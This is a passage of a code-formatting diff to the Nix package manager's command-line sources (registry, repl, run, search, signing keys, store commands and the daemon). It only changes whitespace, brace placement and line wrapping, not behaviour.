RegisterCommand::getCommandsFor({"realisation"})) + { + } std::string description() override { return "manipulate a Nix realisation"; } - Category category() override { return catUtility; } + Category category() override + { + return catUtility; + } }; static auto rCmdRealisation = registerCommand("realisation"); @@ -30,11 +35,14 @@ struct CmdRealisationInfo : BuiltPathsCommand, MixJSON std::string doc() override { return - #include "realisation/info.md" +#include "realisation/info.md" ; } - Category category() override { return catSecondary; } + Category category() override + { + return catSecondary; + } void run(ref store, BuiltPaths && paths, BuiltPaths && rootPaths) override { @@ -58,13 +66,10 @@ struct CmdRealisationInfo : BuiltPathsCommand, MixJSON res.push_back(currentPath); } printJSON(res); - } - else { + } else { for (auto & path : realisations) { if (auto realisation = std::get_if(&path.raw)) { - logger->cout("%s %s", - realisation->id.to_string(), - store->printStorePath(realisation->outPath)); + logger->cout("%s %s", realisation->id.to_string(), store->printStorePath(realisation->outPath)); } else logger->cout("%s", store->printStorePath(path.path())); } diff --git a/src/nix/registry.cc b/src/nix/registry.cc index 340d10ec4..d9fcf09fc 100644 --- a/src/nix/registry.cc +++ b/src/nix/registry.cc @@ -10,7 +10,6 @@ using namespace nix; using namespace nix::flake; - class RegistryCommand : virtual Args { std::string registry_path; @@ -31,7 +30,8 @@ public: std::shared_ptr getRegistry() { - if (registry) return registry; + if (registry) + return registry; if (registry_path.empty()) { registry = fetchers::getUserRegistry(fetchSettings); } else { @@ -60,8 +60,8 @@ struct CmdRegistryList : StoreCommand std::string doc() override { return - #include "registry-list.md" - ; +#include "registry-list.md" + ; } void run(nix::ref store) override @@ -73,11 +73,12 @@ struct CmdRegistryList : StoreCommand for (auto & registry : registries) { for (auto & entry : registry->entries) { // FIXME: format nicely - logger->cout("%s %s %s", - registry->type == Registry::Flag ? "flags " : - registry->type == Registry::User ? "user " : - registry->type == Registry::System ? "system" : - "global", + logger->cout( + "%s %s %s", + registry->type == Registry::Flag ? "flags " + : registry->type == Registry::User ? "user " + : registry->type == Registry::System ? "system" + : "global", entry.from.toURLString(), entry.to.toURLString(attrsToQuery(entry.extraAttrs))); } @@ -97,8 +98,8 @@ struct CmdRegistryAdd : MixEvalArgs, Command, RegistryCommand std::string doc() override { return - #include "registry-add.md" - ; +#include "registry-add.md" + ; } CmdRegistryAdd() @@ -113,7 +114,8 @@ struct CmdRegistryAdd : MixEvalArgs, Command, RegistryCommand auto toRef = parseFlakeRef(fetchSettings, toUrl); auto registry = getRegistry(); fetchers::Attrs extraAttrs; - if (toRef.subdir != "") extraAttrs["dir"] = toRef.subdir; + if (toRef.subdir != "") + extraAttrs["dir"] = toRef.subdir; registry->remove(fromRef.input); registry->add(fromRef.input, toRef.input, extraAttrs); registry->write(getRegistryPath()); @@ -132,8 +134,8 @@ struct CmdRegistryRemove : RegistryCommand, Command std::string doc() override { return - #include "registry-remove.md" - ; +#include "registry-remove.md" + ; } CmdRegistryRemove() @@ -163,27 +165,27 @@ struct CmdRegistryPin : RegistryCommand, EvalCommand std::string doc() override { return - #include "registry-pin.md" - ; +#include "registry-pin.md" + ; } CmdRegistryPin() { expectArg("url", &url); - expectArgs({ - .label = "locked", - .optional = true, - .handler = {&locked}, - .completer = {[&](AddCompletions & completions, size_t, std::string_view prefix) { - completeFlakeRef(completions, getStore(), prefix); - }} - }); + expectArgs( + {.label = "locked", + .optional = true, + .handler = {&locked}, + .completer = {[&](AddCompletions & completions, size_t, std::string_view prefix) { + completeFlakeRef(completions, getStore(), prefix); + }}}); } void run(nix::ref store) override { - if (locked.empty()) locked = url; + if (locked.empty()) + locked = url; auto registry = getRegistry(); auto ref = parseFlakeRef(fetchSettings, url); auto lockedRef = parseFlakeRef(fetchSettings, locked); @@ -192,7 +194,8 @@ struct CmdRegistryPin : RegistryCommand, EvalCommand if (!resolved.isLocked()) warn("flake '%s' is not locked", resolved.to_string()); fetchers::Attrs extraAttrs; - if (ref.subdir != "") extraAttrs["dir"] = ref.subdir; + if (ref.subdir != "") + extraAttrs["dir"] = ref.subdir; registry->add(ref.input, resolved, extraAttrs); registry->write(getRegistryPath()); } @@ -202,13 +205,13 @@ struct CmdRegistry : NixMultiCommand { CmdRegistry() : NixMultiCommand( - "registry", - { - {"list", []() { return make_ref(); }}, - {"add", []() { return make_ref(); }}, - {"remove", []() { return make_ref(); }}, - {"pin", []() { return make_ref(); }}, - }) + "registry", + { + {"list", []() { return make_ref(); }}, + {"add", []() { return make_ref(); }}, + {"remove", []() { return make_ref(); }}, + {"pin", []() { return make_ref(); }}, + }) { } @@ -220,11 +223,14 @@ struct CmdRegistry : NixMultiCommand std::string doc() override { return - #include "registry.md" - ; +#include "registry.md" + ; } - Category category() override { return catSecondary; } + Category category() override + { + return catSecondary; + } }; static auto rCmdRegistry = registerCommand("registry"); diff --git a/src/nix/repl.cc b/src/nix/repl.cc index fcce43b8f..6f1907711 100644 --- a/src/nix/repl.cc +++ b/src/nix/repl.cc @@ -10,26 +10,27 @@ namespace nix { -void runNix(Path program, const Strings & args, - const std::optional & input = {}) +void runNix(Path program, const Strings & args, const std::optional & input = {}) { auto subprocessEnv = getEnv(); subprocessEnv["NIX_CONFIG"] = globalConfig.toKeyValue(); - //isInteractive avoid grabling interactive commands - runProgram2(RunOptions { - .program = getNixBin(program).string(), - .args = args, - .environment = subprocessEnv, - .input = input, - .isInteractive = true, - }); + // isInteractive avoid grabling interactive commands + runProgram2( + RunOptions{ + .program = getNixBin(program).string(), + .args = args, + .environment = subprocessEnv, + .input = input, + .isInteractive = true, + }); return; } struct CmdRepl : RawInstallablesCommand { - CmdRepl() { + CmdRepl() + { evalSettings.pureEval = false; } @@ -61,8 +62,8 @@ struct CmdRepl : RawInstallablesCommand std::string doc() override { return - #include "repl.md" - ; +#include "repl.md" + ; } void applyDefaultInstallables(std::vector & rawInstallables) override @@ -75,13 +76,13 @@ struct CmdRepl : RawInstallablesCommand void run(ref store, std::vector && rawInstallables) override { auto state = getEvalState(); - auto getValues = [&]()->AbstractNixRepl::AnnotatedValues{ + auto getValues = [&]() -> AbstractNixRepl::AnnotatedValues { auto installables = parseInstallables(store, rawInstallables); AbstractNixRepl::AnnotatedValues values; - for (auto & installable_: installables){ + for (auto & installable_ : installables) { auto & installable = InstallableValue::require(*installable_); auto what = installable.what(); - if (file){ + if (file) { auto [val, pos] = installable.toValue(*state); auto what = installable.what(); state->forceValue(*val, pos); @@ -89,21 +90,15 @@ struct CmdRepl : RawInstallablesCommand auto valPost = state->allocValue(); state->autoCallFunction(*autoArgs, *val, *valPost); state->forceValue(*valPost, pos); - values.push_back( {valPost, what }); + values.push_back({valPost, what}); } else { auto [val, pos] = installable.toValue(*state); - values.push_back( {val, what} ); + values.push_back({val, what}); } } return values; }; - auto repl = AbstractNixRepl::create( - lookupPath, - openStore(), - state, - getValues, - runNix - ); + auto repl = AbstractNixRepl::create(lookupPath, openStore(), state, getValues, runNix); repl->autoArgs = getAutoArgs(*repl->state); repl->initEnv(); repl->mainLoop(); diff --git a/src/nix/run.cc b/src/nix/run.cc index 146ae9ec9..0d8fc0f66 100644 --- a/src/nix/run.cc +++ b/src/nix/run.cc @@ -13,13 +13,15 @@ #include #ifdef __linux__ -# include -# include "nix/store/personality.hh" +# include +# include "nix/store/personality.hh" #endif #include -namespace nix::fs { using namespace std::filesystem; } +namespace nix::fs { +using namespace std::filesystem; +} using namespace nix; @@ -27,7 +29,8 @@ std::string chrootHelperName = "__run_in_chroot"; namespace nix { -void execProgramInStore(ref store, +void execProgramInStore( + ref store, UseLookupPath useLookupPath, const std::string & program, const Strings & args, @@ -51,8 +54,10 @@ void execProgramInStore(ref store, throw Error("store '%s' is not a local store so it does not support command execution", store->getUri()); if (store->storeDir != store2->getRealStoreDir()) { - Strings helperArgs = { chrootHelperName, store->storeDir, store2->getRealStoreDir(), std::string(system.value_or("")), program }; - for (auto & arg : args) helperArgs.push_back(arg); + Strings helperArgs = { + chrootHelperName, store->storeDir, store2->getRealStoreDir(), std::string(system.value_or("")), program}; + for (auto & arg : args) + helperArgs.push_back(arg); execv(getSelfExe().value_or("nix").c_str(), stringsToCharPtrs(helperArgs).data()); @@ -82,11 +87,7 @@ struct CmdRun : InstallableValueCommand, MixEnvironment CmdRun() { - expectArgs({ - .label = "args", - .handler = {&args}, - .completer = completePath - }); + expectArgs({.label = "args", .handler = {&args}, .completer = completePath}); } std::string description() override @@ -97,8 +98,8 @@ struct CmdRun : InstallableValueCommand, MixEnvironment std::string doc() override { return - #include "run.md" - ; +#include "run.md" + ; } Strings getDefaultFlakeAttrPaths() override @@ -128,7 +129,8 @@ struct CmdRun : InstallableValueCommand, MixEnvironment auto app = installable->toApp(*state).resolve(getEvalStore(), store); Strings allArgs{app.program}; - for (auto & i : args) allArgs.push_back(i); + for (auto & i : args) + allArgs.push_back(i); // Release our references to eval caches to ensure they are persisted to disk, because // we are about to exec out of this process without running C++ destructors. @@ -142,7 +144,7 @@ struct CmdRun : InstallableValueCommand, MixEnvironment static auto rCmdRun = registerCommand("run"); -void chrootHelper(int argc, char * * argv) +void chrootHelper(int argc, char ** argv) { int p = 1; std::string storeDir = argv[p++]; @@ -183,7 +185,8 @@ void chrootHelper(int argc, char * * argv) checkInterrupt(); const auto & src = entry.path(); fs::path dst = tmpDir / entry.path().filename(); - if (pathExists(dst)) continue; + if (pathExists(dst)) + continue; auto st = entry.symlink_status(); if (fs::is_directory(st)) { if (mkdir(dst.c_str(), 0700) == -1) @@ -195,7 +198,8 @@ void chrootHelper(int argc, char * * argv) } char * cwd = getcwd(0, 0); - if (!cwd) throw SysError("getting current directory"); + if (!cwd) + throw SysError("getting current directory"); Finally freeCwd([&]() { free(cwd); }); if (chroot(tmpDir.c_str()) == -1) @@ -203,19 +207,20 @@ void chrootHelper(int argc, char * * argv) if (chdir(cwd) == -1) throw SysError("chdir to '%s' in chroot", cwd); - } else - if (mount("overlay", storeDir.c_str(), "overlay", MS_MGC_VAL, fmt("lowerdir=%s:%s", storeDir, realStoreDir).c_str()) == -1) - if (mount(realStoreDir.c_str(), storeDir.c_str(), "", MS_BIND, 0) == -1) - throw SysError("mounting '%s' on '%s'", realStoreDir, storeDir); + } else if ( + mount("overlay", storeDir.c_str(), "overlay", MS_MGC_VAL, fmt("lowerdir=%s:%s", storeDir, realStoreDir).c_str()) + == -1) + if (mount(realStoreDir.c_str(), storeDir.c_str(), "", MS_BIND, 0) == -1) + throw SysError("mounting '%s' on '%s'", realStoreDir, storeDir); writeFile(fs::path{"/proc/self/setgroups"}, "deny"); writeFile(fs::path{"/proc/self/uid_map"}, fmt("%d %d %d", uid, uid, 1)); writeFile(fs::path{"/proc/self/gid_map"}, fmt("%d %d %d", gid, gid, 1)); -#ifdef __linux__ +# ifdef __linux__ if (system != "") linux::setPersonality(system); -#endif +# endif execvp(cmd.c_str(), stringsToCharPtrs(args).data()); diff --git a/src/nix/run.hh b/src/nix/run.hh index 9d95b8e7c..9c3bda1d1 100644 --- a/src/nix/run.hh +++ b/src/nix/run.hh @@ -5,12 +5,10 @@ namespace nix { -enum struct UseLookupPath { - Use, - DontUse -}; +enum struct UseLookupPath { Use, DontUse }; -void execProgramInStore(ref store, +void execProgramInStore( + ref store, UseLookupPath useLookupPath, const std::string & program, const Strings & args, diff --git a/src/nix/search.cc b/src/nix/search.cc index 306a80594..562af3151 100644 --- a/src/nix/search.cc +++ b/src/nix/search.cc @@ -34,15 +34,14 @@ struct CmdSearch : InstallableValueCommand, MixJSON CmdSearch() { expectArgs("regex", &res); - addFlag(Flag { - .longName = "exclude", - .shortName = 'e', - .description = "Hide packages whose attribute path, name or description contain *regex*.", - .labels = {"regex"}, - .handler = {[this](std::string s) { - excludeRes.push_back(s); - }}, - }); + addFlag( + Flag{ + .longName = "exclude", + .shortName = 'e', + .description = "Hide packages whose attribute path, name or description contain *regex*.", + .labels = {"regex"}, + .handler = {[this](std::string s) { excludeRes.push_back(s); }}, + }); } std::string description() override @@ -53,16 +52,13 @@ struct CmdSearch : InstallableValueCommand, MixJSON std::string doc() override { return - #include "search.md" - ; +#include "search.md" + ; } Strings getDefaultFlakeAttrPaths() override { - return { - "packages." + settings.thisSystem.get(), - "legacyPackages." + settings.thisSystem.get() - }; + return {"packages." + settings.thisSystem.get(), "legacyPackages." + settings.thisSystem.get()}; } void run(ref store, ref installable) override @@ -72,7 +68,8 @@ struct CmdSearch : InstallableValueCommand, MixJSON // Recommend "^" here instead of ".*" due to differences in resulting highlighting if (res.empty()) - throw UsageError("Must provide at least one regex! To match all packages, use '%s'.", "nix search ^"); + throw UsageError( + "Must provide at least one regex! To match all packages, use '%s'.", "nix search ^"); std::vector regexes; std::vector excludeRegexes; @@ -88,21 +85,20 @@ struct CmdSearch : InstallableValueCommand, MixJSON auto state = getEvalState(); std::optional jsonOut; - if (json) jsonOut = json::object(); + if (json) + jsonOut = json::object(); uint64_t results = 0; - std::function & attrPath, bool initialRecurse)> visit; + std::function & attrPath, bool initialRecurse)> + visit; - visit = [&](eval_cache::AttrCursor & cursor, const std::vector & attrPath, bool initialRecurse) - { + visit = [&](eval_cache::AttrCursor & cursor, const std::vector & attrPath, bool initialRecurse) { auto attrPathS = state->symbols.resolve(attrPath); - Activity act(*logger, lvlInfo, actUnknown, - fmt("evaluating '%s'", concatStringsSep(".", attrPathS))); + Activity act(*logger, lvlInfo, actUnknown, fmt("evaluating '%s'", concatStringsSep(".", attrPathS))); try { - auto recurse = [&]() - { + auto recurse = [&]() { for (const auto & attr : cursor.getAttrs()) { auto cursor2 = cursor.getAttr(state->symbols[attr]); auto attrPath2(attrPath); @@ -126,9 +122,7 @@ struct CmdSearch : InstallableValueCommand, MixJSON bool found = false; for (auto & regex : excludeRegexes) { - if ( - std::regex_search(attrPath2, regex) - || std::regex_search(name.name, regex) + if (std::regex_search(attrPath2, regex) || std::regex_search(name.name, regex) || std::regex_search(description, regex)) return; } @@ -151,8 +145,7 @@ struct CmdSearch : InstallableValueCommand, MixJSON break; } - if (found) - { + if (found) { results++; if (json) { (*jsonOut)[attrPath2] = { @@ -161,7 +154,8 @@ struct CmdSearch : InstallableValueCommand, MixJSON {"description", description}, }; } else { - if (results > 1) logger->cout(""); + if (results > 1) + logger->cout(""); logger->cout( "* %s%s", wrap("\e[0;1m", hiliteMatches(attrPath2, attrPathMatches, ANSI_GREEN, "\e[0;1m")), @@ -174,8 +168,7 @@ struct CmdSearch : InstallableValueCommand, MixJSON } else if ( - attrPath.size() == 0 - || (attrPathS[0] == "legacyPackages" && attrPath.size() <= 2) + attrPath.size() == 0 || (attrPathS[0] == "legacyPackages" && attrPath.size() <= 2) || (attrPathS[0] == "packages" && attrPath.size() <= 2)) recurse(); diff --git a/src/nix/sigs.cc b/src/nix/sigs.cc index 9ef54a414..e375b9c90 100644 --- a/src/nix/sigs.cc +++ b/src/nix/sigs.cc @@ -42,10 +42,10 @@ struct CmdCopySigs : StorePathsCommand std::atomic added{0}; - //logger->setExpected(doneLabel, storePaths.size()); + // logger->setExpected(doneLabel, storePaths.size()); auto doPath = [&](const Path & storePathS) { - //Activity act(*logger, lvlInfo, "getting signatures for '%s'", storePath); + // Activity act(*logger, lvlInfo, "getting signatures for '%s'", storePath); checkInterrupt(); @@ -61,9 +61,8 @@ struct CmdCopySigs : StorePathsCommand /* Don't import signatures that don't match this binary. */ - if (info->narHash != info2->narHash || - info->narSize != info2->narSize || - info->references != info2->references) + if (info->narHash != info2->narHash || info->narSize != info2->narSize + || info->references != info2->references) continue; for (auto & sig : info2->sigs) @@ -78,7 +77,7 @@ struct CmdCopySigs : StorePathsCommand added += newSigs.size(); } - //logger->incProgress(doneLabel); + // logger->incProgress(doneLabel); }; for (auto & storePath : storePaths) @@ -165,8 +164,8 @@ struct CmdKeyGenerateSecret : Command std::string doc() override { return - #include "key-generate-secret.md" - ; +#include "key-generate-secret.md" + ; } void run() override @@ -189,8 +188,8 @@ struct CmdKeyConvertSecretToPublic : Command std::string doc() override { return - #include "key-convert-secret-to-public.md" - ; +#include "key-convert-secret-to-public.md" + ; } void run() override @@ -205,11 +204,11 @@ struct CmdKey : NixMultiCommand { CmdKey() : NixMultiCommand( - "key", - { - {"generate-secret", []() { return make_ref(); }}, - {"convert-secret-to-public", []() { return make_ref(); }}, - }) + "key", + { + {"generate-secret", []() { return make_ref(); }}, + {"convert-secret-to-public", []() { return make_ref(); }}, + }) { } @@ -218,7 +217,10 @@ struct CmdKey : NixMultiCommand return "generate and convert Nix signing keys"; } - Category category() override { return catUtility; } + Category category() override + { + return catUtility; + } }; static auto rCmdKey = registerCommand("key"); diff --git a/src/nix/store-copy-log.cc b/src/nix/store-copy-log.cc index 599b40edc..6e442f371 100644 --- a/src/nix/store-copy-log.cc +++ b/src/nix/store-copy-log.cc @@ -20,8 +20,8 @@ struct CmdCopyLog : virtual CopyCommand, virtual InstallablesCommand std::string doc() override { return - #include "store-copy-log.md" - ; +#include "store-copy-log.md" + ; } void run(ref srcStore, Installables && installables) override diff --git a/src/nix/store-delete.cc b/src/nix/store-delete.cc index fae960c90..42517c882 100644 --- a/src/nix/store-delete.cc +++ b/src/nix/store-delete.cc @@ -9,7 +9,7 @@ using namespace nix; struct CmdStoreDelete : StorePathsCommand { - GCOptions options { .action = GCOptions::gcDeleteSpecific }; + GCOptions options{.action = GCOptions::gcDeleteSpecific}; CmdStoreDelete() { @@ -28,8 +28,8 @@ struct CmdStoreDelete : StorePathsCommand std::string doc() override { return - #include "store-delete.md" - ; +#include "store-delete.md" + ; } void run(ref store, StorePaths && storePaths) override diff --git a/src/nix/store-gc.cc b/src/nix/store-gc.cc index c71e89233..b0a627837 100644 --- a/src/nix/store-gc.cc +++ b/src/nix/store-gc.cc @@ -29,8 +29,8 @@ struct CmdStoreGC : StoreCommand, MixDryRun std::string doc() override { return - #include "store-gc.md" - ; +#include "store-gc.md" + ; } void run(ref store) override diff --git a/src/nix/store-info.cc b/src/nix/store-info.cc index c4c63ae3a..2132dc465 100644 --- a/src/nix/store-info.cc +++ b/src/nix/store-info.cc @@ -17,8 +17,8 @@ struct CmdInfoStore : StoreCommand, MixJSON std::string doc() override { return - #include "store-info.md" - ; +#include "store-info.md" + ; } void run(ref store) override @@ -32,9 +32,7 @@ struct CmdInfoStore : StoreCommand, MixJSON notice("Trusted: %s", *trusted); } else { nlohmann::json res; - Finally printRes([&]() { - printJSON(res); - }); + Finally printRes([&]() { printJSON(res); }); res["url"] = store->getUri(); store->connect(); diff --git a/src/nix/store-repair.cc b/src/nix/store-repair.cc index edd699981..cd243691c 100644 --- a/src/nix/store-repair.cc +++ b/src/nix/store-repair.cc @@ -13,8 +13,8 @@ struct CmdStoreRepair : StorePathsCommand std::string doc() override { return - #include "store-repair.md" - ; +#include "store-repair.md" + ; } void run(ref store, StorePaths && storePaths) override diff --git a/src/nix/store.cc b/src/nix/store.cc index 80f9363ca..45e505d06 100644 --- a/src/nix/store.cc +++ b/src/nix/store.cc @@ -4,10 +4,11 @@ using namespace nix; struct CmdStore : NixMultiCommand { - CmdStore() : NixMultiCommand("store", RegisterCommand::getCommandsFor({"store"})) + CmdStore() + : NixMultiCommand("store", RegisterCommand::getCommandsFor({"store"})) { aliases = { - {"ping", { AliasStatus::Deprecated, {"info"}}}, + {"ping", {AliasStatus::Deprecated, {"info"}}}, }; } @@ -16,7 +17,10 @@ struct CmdStore : NixMultiCommand return "manipulate a Nix store"; } - Category category() override { return catUtility; } + Category category() override + { + return catUtility; + } }; static auto rCmdStore = registerCommand("store"); diff --git a/src/nix/unix/daemon.cc b/src/nix/unix/daemon.cc index 607a7bb01..65b3d670d 100644 --- a/src/nix/unix/daemon.cc +++ b/src/nix/unix/daemon.cc @@ -35,11 +35,11 @@ #include #ifdef __linux__ -#include "nix/util/cgroup.hh" +# include "nix/util/cgroup.hh" #endif #if defined(__APPLE__) || defined(__FreeBSD__) -#include +# include #endif using namespace nix; @@ -58,10 +58,13 @@ using namespace nix::daemon; * exposed in a header); all authentication and authorization happens in * `daemon.cc`. */ -struct AuthorizationSettings : Config { +struct AuthorizationSettings : Config +{ Setting trustedUsers{ - this, {"root"}, "trusted-users", + this, + {"root"}, + "trusted-users", R"( A list of user names, separated by whitespace. These users will have additional rights when connecting to the Nix daemon, such as the ability to specify additional [substituters](#conf-substituters), or to import unsigned realisations or unsigned input-addressed store objects. @@ -79,7 +82,9 @@ struct AuthorizationSettings : Config { * Who we trust to use the daemon in safe ways */ Setting allowedUsers{ - this, {"*"}, "allowed-users", + this, + {"*"}, + "allowed-users", R"( A list user names, separated by whitespace. These users are allowed to connect to the Nix daemon. @@ -99,8 +104,8 @@ AuthorizationSettings authorizationSettings; static GlobalConfig::Register rSettings(&authorizationSettings); #ifndef __linux__ -#define SPLICE_F_MOVE 0 -static ssize_t splice(int fd_in, void *off_in, int fd_out, void *off_out, size_t len, unsigned int flags) +# define SPLICE_F_MOVE 0 +static ssize_t splice(int fd_in, void * off_in, int fd_out, void * off_out, size_t len, unsigned int flags) { // We ignore most parameters, we just have them for conformance with the linux syscall std::vector buf(8192); @@ -118,17 +123,16 @@ static ssize_t splice(int fd_in, void *off_in, int fd_out, void *off_out, size_t } #endif - static void sigChldHandler(int sigNo) { // Ensure we don't modify errno of whatever we've interrupted auto saved_errno = errno; // Reap all dead children. - while (waitpid(-1, 0, WNOHANG) > 0) ; + while (waitpid(-1, 0, WNOHANG) > 0) + ; errno = saved_errno; } - static void setSigChldAction(bool autoReap) { struct sigaction act, oact; @@ -148,12 +152,12 @@ static void setSigChldAction(bool autoReap) */ static bool matchUser(std::string_view user, const struct group & gr) { - for (char * * mem = gr.gr_mem; *mem; mem++) - if (user == std::string_view(*mem)) return true; + for (char ** mem = gr.gr_mem; *mem; mem++) + if (user == std::string_view(*mem)) + return true; return false; } - /** * Does the given user (specified by user name and primary group name) * match the given user/group whitelist? @@ -178,16 +182,18 @@ static bool matchUser(const std::string & user, const std::string & group, const for (auto & i : users) if (i.substr(0, 1) == "@") { - if (group == i.substr(1)) return true; + if (group == i.substr(1)) + return true; struct group * gr = getgrnam(i.c_str() + 1); - if (!gr) continue; - if (matchUser(user, *gr)) return true; + if (!gr) + continue; + if (matchUser(user, *gr)) + return true; } return false; } - struct PeerInfo { bool pidKnown; @@ -198,47 +204,44 @@ struct PeerInfo gid_t gid; }; - /** * Get the identity of the caller, if possible. */ static PeerInfo getPeerInfo(int remote) { - PeerInfo peer = { false, 0, false, 0, false, 0 }; + PeerInfo peer = {false, 0, false, 0, false, 0}; #if defined(SO_PEERCRED) -# if defined(__OpenBSD__) - struct sockpeercred cred; -# else - ucred cred; -# endif +# if defined(__OpenBSD__) + struct sockpeercred cred; +# else + ucred cred; +# endif socklen_t credLen = sizeof(cred); if (getsockopt(remote, SOL_SOCKET, SO_PEERCRED, &cred, &credLen) == -1) throw SysError("getting peer credentials"); - peer = { true, cred.pid, true, cred.uid, true, cred.gid }; + peer = {true, cred.pid, true, cred.uid, true, cred.gid}; #elif defined(LOCAL_PEERCRED) -# if !defined(SOL_LOCAL) -# define SOL_LOCAL 0 -# endif +# if !defined(SOL_LOCAL) +# define SOL_LOCAL 0 +# endif xucred cred; socklen_t credLen = sizeof(cred); if (getsockopt(remote, SOL_LOCAL, LOCAL_PEERCRED, &cred, &credLen) == -1) throw SysError("getting peer credentials"); - peer = { false, 0, true, cred.cr_uid, false, 0 }; + peer = {false, 0, true, cred.cr_uid, false, 0}; #endif return peer; } - #define SD_LISTEN_FDS_START 3 - /** * Open a store without a path info cache. */ @@ -280,10 +283,9 @@ static std::pair authPeer(const PeerInfo & peer) if ((!trusted && !matchUser(user, group, allowedUsers)) || group == settings.buildUsersGroup) throw Error("user '%1%' is not allowed to connect to the Nix daemon", user); - return { trusted, std::move(user) }; + return {trusted, std::move(user)}; } - /** * Run a server. The loop opens a socket and accepts new connections from that * socket. @@ -317,7 +319,7 @@ static void daemonLoop(std::optional forceTrustClientOpt) // Get rid of children automatically; don't let them become zombies. setSigChldAction(true); - #ifdef __linux__ +#ifdef __linux__ if (settings.useCgroups) { experimentalFeatureSettings.require(Xp::Cgroups); @@ -336,7 +338,7 @@ static void daemonLoop(std::optional forceTrustClientOpt) // Move daemon into the new cgroup. writeFile(daemonCgroupPath + "/cgroup.procs", fmt("%d", getpid())); } - #endif +#endif // Loop accepting connections. while (1) { @@ -346,17 +348,17 @@ static void daemonLoop(std::optional forceTrustClientOpt) struct sockaddr_un remoteAddr; socklen_t remoteAddrLen = sizeof(remoteAddr); - AutoCloseFD remote = accept(fdSocket.get(), - (struct sockaddr *) &remoteAddr, &remoteAddrLen); + AutoCloseFD remote = accept(fdSocket.get(), (struct sockaddr *) &remoteAddr, &remoteAddrLen); checkInterrupt(); if (!remote) { - if (errno == EINTR) continue; + if (errno == EINTR) + continue; throw SysError("accepting connection"); } unix::closeOnExec(remote.get()); - PeerInfo peer { .pidKnown = false }; + PeerInfo peer{.pidKnown = false}; TrustedFlag trusted; std::string user; @@ -369,7 +371,8 @@ static void daemonLoop(std::optional forceTrustClientOpt) user = _user; }; - printInfo((std::string) "accepted connection from pid %1%, user %2%" + (trusted ? " (trusted)" : ""), + printInfo( + (std::string) "accepted connection from pid %1%, user %2%" + (trusted ? " (trusted)" : ""), peer.pidKnown ? std::to_string(peer.pid) : "", peer.uidKnown ? user : ""); @@ -379,32 +382,30 @@ static void daemonLoop(std::optional forceTrustClientOpt) options.dieWithParent = false; options.runExitHandlers = true; options.allowVfork = false; - startProcess([&]() { - fdSocket = -1; + startProcess( + [&]() { + fdSocket = -1; - // Background the daemon. - if (setsid() == -1) - throw SysError("creating a new session"); + // Background the daemon. + if (setsid() == -1) + throw SysError("creating a new session"); - // Restore normal handling of SIGCHLD. - setSigChldAction(false); + // Restore normal handling of SIGCHLD. + setSigChldAction(false); - // For debugging, stuff the pid into argv[1]. - if (peer.pidKnown && savedArgv[1]) { - auto processName = std::to_string(peer.pid); - strncpy(savedArgv[1], processName.c_str(), strlen(savedArgv[1])); - } + // For debugging, stuff the pid into argv[1]. + if (peer.pidKnown && savedArgv[1]) { + auto processName = std::to_string(peer.pid); + strncpy(savedArgv[1], processName.c_str(), strlen(savedArgv[1])); + } - // Handle the connection. - processConnection( - openUncachedStore(), - FdSource(remote.get()), - FdSink(remote.get()), - trusted, - NotRecursive); + // Handle the connection. + processConnection( + openUncachedStore(), FdSource(remote.get()), FdSink(remote.get()), trusted, NotRecursive); - exit(0); - }, options); + exit(0); + }, + options); } catch (Interrupted & e) { return; @@ -425,7 +426,8 @@ static void daemonLoop(std::optional forceTrustClientOpt) * * Loops until standard input disconnects, or an error is encountered. */ -static void forwardStdioConnection(RemoteStore & store) { +static void forwardStdioConnection(RemoteStore & store) +{ auto conn = store.openConnectionWrapper(); int from = conn->from.fd; int to = conn->to.fd; @@ -466,11 +468,7 @@ static void forwardStdioConnection(RemoteStore & store) { */ static void processStdioConnection(ref store, TrustedFlag trustClient) { - processConnection( - store, - FdSource(STDIN_FILENO), - FdSink(STDOUT_FILENO), - trustClient, NotRecursive); + processConnection(store, FdSource(STDIN_FILENO), FdSink(STDOUT_FILENO), trustClient, NotRecursive); } /** @@ -506,7 +504,7 @@ static void runDaemon(bool stdio, std::optional forceTrustClientOpt daemonLoop(forceTrustClientOpt); } -static int main_nix_daemon(int argc, char * * argv) +static int main_nix_daemon(int argc, char ** argv) { { auto stdio = false; @@ -534,7 +532,8 @@ static int main_nix_daemon(int argc, char * * argv) } else if (*arg == "--process-ops") { experimentalFeatureSettings.require(Xp::MountedSSHStore); processOps = true; - } else return false; + } else + return false; return true; }); @@ -563,27 +562,22 @@ struct CmdDaemon : Command addFlag({ .longName = "force-trusted", .description = "Force the daemon to trust connecting clients.", - .handler = {[&]() { - isTrustedOpt = Trusted; - }}, + .handler = {[&]() { isTrustedOpt = Trusted; }}, .experimentalFeature = Xp::DaemonTrustOverride, }); addFlag({ .longName = "force-untrusted", - .description = "Force the daemon to not trust connecting clients. The connection will be processed by the receiving daemon before forwarding commands.", - .handler = {[&]() { - isTrustedOpt = NotTrusted; - }}, + .description = + "Force the daemon to not trust connecting clients. The connection will be processed by the receiving daemon before forwarding commands.", + .handler = {[&]() { isTrustedOpt = NotTrusted; }}, .experimentalFeature = Xp::DaemonTrustOverride, }); addFlag({ .longName = "default-trust", .description = "Use Nix's default trust.", - .handler = {[&]() { - isTrustedOpt = std::nullopt; - }}, + .handler = {[&]() { isTrustedOpt = std::nullopt; }}, .experimentalFeature = Xp::DaemonTrustOverride, }); @@ -594,9 +588,7 @@ struct CmdDaemon : Command This is useful for the `mounted-ssh://` store where some actions need to be performed on the remote end but as connected user, and not as the user of the underlying daemon on the remote end. )", - .handler = {[&]() { - processOps = true; - }}, + .handler = {[&]() { processOps = true; }}, .experimentalFeature = Xp::MountedSSHStore, }); } @@ -606,13 +598,16 @@ struct CmdDaemon : Command return "daemon to perform store operations on behalf of non-root clients"; } - Category category() override { return catUtility; } + Category category() override + { + return catUtility; + } std::string doc() override { return - #include "daemon.md" - ; +#include "daemon.md" + ; } void run() override diff --git a/src/nix/upgrade-nix.cc b/src/nix/upgrade-nix.cc index 648241104..3037d1986 100644 --- a/src/nix/upgrade-nix.cc +++ b/src/nix/upgrade-nix.cc @@ -30,7 +30,7 @@ struct CmdUpgradeNix : MixDryRun, StoreCommand .longName = "nix-store-paths-url", .description = "The URL of the file that contains the store paths of the latest Nix release.", .labels = {"url"}, - .handler = {&(std::string&) settings.upgradeNixStorePathUrl}, + .handler = {&(std::string &) settings.upgradeNixStorePathUrl}, }); } @@ -50,11 +50,14 @@ struct CmdUpgradeNix : MixDryRun, StoreCommand std::string doc() override { return - #include "upgrade-nix.md" - ; +#include "upgrade-nix.md" + ; } - Category category() override { return catNixInstallation; } + Category category() override + { + return catNixInstallation; + } void run(ref store) override { 